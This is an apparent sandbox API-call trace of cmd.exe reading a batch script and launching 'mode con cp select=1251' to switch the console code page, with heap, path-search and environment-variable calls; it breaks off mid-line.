[0147.610] _get_osfhandle (_FileHandle=0) returned 0xe8 [0147.610] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.610] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0147.610] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e32e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0147.610] _get_osfhandle (_FileHandle=0) returned 0xe8 [0147.610] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.610] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0147.610] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e330, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0147.610] _get_osfhandle (_FileHandle=0) returned 0xe8 [0147.610] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.610] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0147.610] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e332, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0147.610] _get_osfhandle (_FileHandle=0) returned 0xe8 [0147.610] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.610] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0147.610] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e334, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0147.610] _get_osfhandle (_FileHandle=0) returned 0xe8 [0147.610] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.610] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0147.610] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e336, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0147.610] _get_osfhandle (_FileHandle=0) returned 0xe8 [0147.610] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.611] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0147.611] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e338, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0147.611] _get_osfhandle (_FileHandle=0) returned 0xe8 [0147.611] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.611] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0147.611] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e33a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0147.611] _get_osfhandle (_FileHandle=0) returned 0xe8 [0147.611] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.611] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0147.611] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e33c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0147.611] _get_osfhandle (_FileHandle=0) returned 0xe8 [0147.611] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.611] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0147.611] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e33e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0147.611] _get_osfhandle (_FileHandle=0) returned 0xe8 [0147.611] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.611] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0147.611] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e340, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0147.611] _get_osfhandle (_FileHandle=0) returned 0xe8 [0147.611] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.611] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0147.611] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e342, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0147.611] _get_osfhandle (_FileHandle=0) returned 0xe8 [0147.611] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.611] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0147.611] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e344, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0147.611] _get_osfhandle (_FileHandle=0) returned 0xe8 [0147.611] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.611] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0147.612] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e346, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0147.612] _get_osfhandle (_FileHandle=0) returned 0xe8 [0147.612] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.612] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0147.612] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e348, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0147.612] _get_osfhandle (_FileHandle=0) returned 0xe8 [0147.612] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.612] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0147.612] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e34a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0147.612] _get_osfhandle (_FileHandle=0) returned 0xe8 [0147.612] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.612] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0147.612] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e34c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0147.612] _get_osfhandle (_FileHandle=0) returned 0xe8 [0147.612] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.612] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0147.612] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e34e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0147.613] _get_osfhandle (_FileHandle=0) returned 0xe8 [0147.613] GetFileType (hFile=0xe8) returned 0x3 [0147.613] _get_osfhandle (_FileHandle=0) returned 0xe8 [0147.613] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.613] _get_osfhandle (_FileHandle=1) returned 0xf4 [0147.613] GetFileType (hFile=0xf4) returned 0x3 [0147.613] _get_osfhandle (_FileHandle=1) returned 0xf4 [0147.613] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x49f2c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0147.613] WriteFile (in: hFile=0xf4, lpBuffer=0x49f2c320*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x2df628, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesWritten=0x2df628*=0x18, lpOverlapped=0x0) returned 1 [0147.613] GetProcessHeap () returned 0x70000 [0147.613] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x4012) returned 0x8b310 [0147.613] GetProcessHeap () returned 0x70000 [0147.613] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x8b310 | out: hHeap=0x70000) returned 1 [0147.613] _wcsicmp (_String1="mode", _String2=")") returned 68 [0147.613] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0147.613] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0147.613] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0147.613] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0147.613] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0147.613] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0147.613] GetProcessHeap () returned 0x70000 [0147.613] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0xb0) returned 0x89840 [0147.613] GetProcessHeap () returned 0x70000 [0147.614] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x1a) returned 0x84630 [0147.614] GetProcessHeap () returned 0x70000 [0147.614] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x38) returned 0x86550 [0147.615] GetConsoleOutputCP () returned 0x1b5 [0147.615] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f2bfe0 | out: lpCPInfo=0x49f2bfe0) returned 1 [0147.615] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0147.615] GetConsoleTitleW (in: lpConsoleTitle=0x2df5e0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0147.615] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0147.615] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0147.615] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0147.615] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0147.615] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0147.615] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0147.615] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0147.616] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0147.616] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0147.616] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0147.616] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0147.616] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0147.616] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0147.616] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0147.616] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0147.616] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0147.616] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0147.616] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0147.616] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0147.616] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0147.616] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0147.616] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0147.616] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0147.616] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0147.616] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0147.616] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0147.616] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0147.616] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0147.616] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0147.616] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0147.616] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0147.616] _wcsicmp (_String1="mode", _String2="START") returned -6 [0147.616] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0147.616] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0147.616] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0147.616] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0147.616] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0147.616] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0147.616] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0147.616] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0147.616] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0147.616] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0147.616] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0147.616] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0147.616] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0147.616] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0147.616] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0147.617] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0147.617] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0147.617] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0147.617] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0147.617] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0147.617] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0147.617] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0147.617] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0147.617] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0147.617] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0147.617] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0147.617] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0147.617] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0147.617] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0147.617] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0147.617] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0147.617] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0147.617] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0147.617] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0147.617] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0147.617] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0147.617] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0147.617] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0147.617] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0147.617] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0147.617] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0147.617] _wcsicmp (_String1="mode", _String2="START") returned -6 [0147.617] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0147.617] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0147.617] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0147.617] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0147.617] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0147.617] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0147.617] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0147.617] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0147.617] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0147.617] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0147.617] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0147.617] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0147.618] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0147.618] GetProcessHeap () returned 0x70000 [0147.618] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x218) returned 0x8aae0 [0147.618] GetProcessHeap () returned 0x70000 [0147.618] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x42) returned 0x89900 [0147.618] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0147.618] GetProcessHeap () returned 0x70000 [0147.618] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x420) returned 0x8b310 [0147.618] SetErrorMode (uMode=0x0) returned 0x0 [0147.618] SetErrorMode (uMode=0x1) returned 0x0 [0147.618] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x8b320, lpFilePart=0x2dee70 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x2dee70*="system32") returned 0x13 [0147.618] SetErrorMode (uMode=0x0) returned 0x1 [0147.618] GetProcessHeap () returned 0x70000 [0147.618] RtlReAllocateHeap (Heap=0x70000, Flags=0x0, Ptr=0x8b310, Size=0x42) returned 0x8b310 [0147.618] GetProcessHeap () returned 0x70000 [0147.618] RtlSizeHeap (HeapHandle=0x70000, Flags=0x0, MemoryPointer=0x8b310) returned 0x42 [0147.618] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f1f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0147.618] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0147.619] GetProcessHeap () returned 0x70000 [0147.619] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x104) returned 0x85bb0 [0147.619] GetProcessHeap () returned 0x70000 [0147.619] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x1f8) returned 0x89c60 [0147.624] GetProcessHeap () returned 0x70000 [0147.624] RtlReAllocateHeap (Heap=0x70000, Flags=0x0, Ptr=0x89c60, Size=0x106) returned 0x89c60 [0147.624] GetProcessHeap () returned 0x70000 [0147.624] RtlSizeHeap (HeapHandle=0x70000, Flags=0x0, MemoryPointer=0x89c60) returned 0x106 [0147.624] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f1f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0147.624] GetProcessHeap () returned 0x70000 [0147.624] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0xe8) returned 0x89d80 [0147.624] GetProcessHeap () returned 0x70000 [0147.624] RtlReAllocateHeap (Heap=0x70000, Flags=0x0, Ptr=0x89d80, Size=0x7e) returned 0x89d80 [0147.624] GetProcessHeap () returned 0x70000 [0147.624] RtlSizeHeap (HeapHandle=0x70000, Flags=0x0, MemoryPointer=0x89d80) returned 0x7e [0147.629] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0147.629] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x2debe0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2debe0) returned 0x85cc0 [0147.629] GetProcessHeap () returned 0x70000 [0147.629] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x0, Size=0x28) returned 0x84660 [0147.629] FindClose (in: hFindFile=0x85cc0 | out: hFindFile=0x85cc0) returned 1 [0147.629] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x2debe0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2debe0) returned 0x85cc0 [0147.629] GetProcessHeap () returned 0x70000 [0147.629] RtlReAllocateHeap (Heap=0x70000, Flags=0x0, Ptr=0x84660, Size=0x8) returned 0x89950 [0147.629] FindClose (in: hFindFile=0x85cc0 | out: hFindFile=0x85cc0) returned 1 [0147.629] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0147.629] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0147.629] GetConsoleTitleW (in: lpConsoleTitle=0x2df130, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0147.630] GetProcessHeap () returned 0x70000 [0147.630] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x21c) returned 0x8b370 [0147.630] GetConsoleTitleW (in: lpConsoleTitle=0x8b380, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0147.630] GetProcessHeap () returned 0x70000 [0147.630] RtlReAllocateHeap (Heap=0x70000, Flags=0x0, Ptr=0x8b370, Size=0x8a) returned 0x8b370 [0147.630] GetProcessHeap () returned 0x70000 [0147.630] RtlSizeHeap (HeapHandle=0x70000, Flags=0x0, MemoryPointer=0x8b370) returned 0x8a [0147.630] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0147.734] GetProcessHeap () returned 0x70000 [0147.734] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x8b370 | out: hHeap=0x70000) returned 1 [0147.734] InitializeProcThreadAttributeList (in: lpAttributeList=0x2deee8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2deea8 | out: lpAttributeList=0x2deee8, lpSize=0x2deea8) returned 1 [0147.734] UpdateProcThreadAttribute (in: lpAttributeList=0x2deee8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2dee98, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2deee8, lpPreviousValue=0x0) returned 1 [0147.735] GetStartupInfoW (in: lpStartupInfo=0x2df000 | out: lpStartupInfo=0x2df000*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0147.735] GetProcessHeap () returned 0x70000 [0147.735] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x20) returned 0x84660 [0147.735] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0147.735] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0147.735] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0147.735] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0147.735] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0147.735] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0147.735] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0147.735] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0147.735] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0147.735] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0147.735] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0147.735] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0147.735] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", 